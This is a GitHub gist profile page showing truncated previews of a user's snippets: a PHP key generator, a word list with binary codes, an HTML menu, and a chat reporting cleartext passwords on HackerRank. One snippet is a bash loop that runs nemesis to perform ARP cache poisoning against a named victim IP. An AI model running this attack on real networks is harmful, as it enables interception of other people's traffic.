Skip to content

Instantly share code, notes, and snippets.

View aniketpant's full-sized avatar
WHAT

Aniket Pant aniketpant

WHAT
View GitHub Profile
<?php
/**
* Generate an encryption key for CodeIgniter.
* http://codeigniter.com/user_guide/libraries/encryption.html
*/
// http://www.itnewb.com/v/Generating-Session-IDs-and-Random-Passwords-with-PHP
function generate_token ($len = 32)
{
#!/bin/bash
# perform an arp cache poisoning attack with nemesis
# http://nemesis.sourceforge.net/
[[ $1 = "-h" ]] && echo "usage: $0 <network_device> <attackers_mac> <ip_to_masquerade_as> <victim_ip>" && exit 0
while true
do
nemesis arp -d $1 -H $2 -M ff:ff:ff:ff:ff:ff -h $2 -m ff:ff:ff:ff:ff:ff -S $3 -D $4
space: 00101010
pong: 10000001
simone: 11010011
eightbit: 01010011
song: 11011011
synth: 10001000
ascii: 01111111
bowling: 01110101
rocket: 01000101
burger: 00111001
<!doctype html>
<html lang="en">
<head>
<title>Huge Dropdown Menu (example)</title>
<style type="text/css">
body {
background-color: #86c6d7;
@aniketpant
aniketpant / log.txt
Created June 29, 2012 19:36 — forked from theonewolf/log.txt
Conversation with Hackerrank.com Site Owners/Developers
→hello
→are you there?
interviewstreet: yes
→i see that you have created a website for hackers
→but you send passwords in the clear?
interviewstreet: what passwords?
interviewstreet: the activation mail doesn't contain any password
→sign up passwords
→are sent via HTTP POST
→in the clear